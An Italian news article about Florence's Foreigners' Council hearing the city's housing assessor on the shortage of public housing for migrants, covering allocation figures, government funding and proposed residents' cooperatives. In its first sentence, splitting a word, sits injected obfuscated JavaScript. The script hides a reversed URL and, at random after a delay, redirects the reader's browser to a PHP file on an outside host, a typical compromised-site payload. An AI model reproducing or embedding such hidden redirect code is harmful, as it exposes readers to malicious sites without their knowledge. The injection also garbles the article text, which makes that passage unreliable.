Cercasi casa per gli stranieri

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Proseguono gli incontri organizzati dall’area di lavoro ‘servizi sociali’ del Consiglio degli Stranieri sulle gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi questioni della convivenza e della qualità della vita per i migranti all’interno del Comune di Firenze. Durante la sua audizione l’Assessore alla Casa Tea Albini ha dato al Consiglio una visione generale sulla complessa questione dell’abitare, letta in rapporto con il fenomeno dell’immigrazione.
Ne è venuto fuori un quadro articolato e complesso, e per lo più scoraggiante. Gli alloggi in costruzione o appena terminati sono circa 1200; una volta assegnati questi, se il Governo non riprenderà a finanziare l’edilizia pubblica, il comune dovrà limitarsi a gestire l’esistente. La situazione fiorentina è particolare, perché il Comune non ha aree proprie, perciò la scelta adottata nel regolamento è la rinuncia agli oneri di urbanizzazione per ottenere dai privati il 20% degli affitti in regime concordato. L’assessore è stata molto polemica nei confronti del Governo anche per quanto riguarda la strategia delle cartolarizzazioni di Tremonti, che vanno a colpire la risorsa costituita dalle case di proprietà di altri enti (in Italia complessivamente oltre 90mila): se i comuni o gli affittuari non sono in grado di comprarle, le graduatorie dell’edilizia pubblica si riempiranno ulteriormente. Questi dati spiegano come mai, pur costituendo gli stranieri circa il 30% della graduatoria ordinaria, e la gran parte della graduatoria sociale (destinata a casi di estrema necessità, cui va fino al 30% delle assegnazioni), nel 2003 gli alloggi consegnati a stranieri sono stati 25, che vanno a sommarsi ai 40 circa degli anni precedenti. Purtroppo, neanche il meccanismo del ‘Comune Garante’ ha avuto molto successo: in 5 anni sono stati trovati solo 77 appartamenti.
Alla scarsità di case a disposizione si aggiunge la mentalità razzista strisciante del ‘date la casa a loro e non a noi’, e i problemi che riguardano il permesso di soggiorno, come il fatto che gli immigrati che lavorano al nero si trovano stretti in un ulteriore meccanismo di esclusione, o come la questione dell’attestazione delle superfici, per le quali la legge nazionale in materia stabilisce un numero di metri quadrati minimo a persona: una tutela per la dignità della vita degli individui, ma anche un vincolo per i nuclei familiari numerosi, che sono oggi in gran parte costituiti dai ricongiungimenti familiari. Infatti un altro problema del patrimonio residenziale pubblico è la dimensione degli alloggi, e la carenza, nella legge regionale, di un meccanismo di verifica e revisione dei rapporti contrattuali, che razionalizzerebbe le risorse a disposizione: la gran parte delle case grandi sono occupate da anziani rimasti poi soli.
I consiglieri hanno fatto altre domande (sui mutui, sullo sviluppo urbanistico, e così via) e avanzato alcune proposte, che permettono, al di là del quadro d’insieme sconfortante, di vedere qualche prospettiva, la più importante delle quali è costituita dalla creazione di ‘cooperative di abitanti’, rispetto alle quali l’Assessore si è impegnato a organizzare un incontro per fornire assistenza tecnica e giuridica a gruppi di migranti che vogliano tentare questa strada. Infine l’Assessore ha comunicato che entro il 2004 verrà aggiornato e dato alle stampe il vademecum della casa, e verrà fatto il bando per la nuova graduatoria per le case popolari, per la quale sono previste circa 15mila domande!

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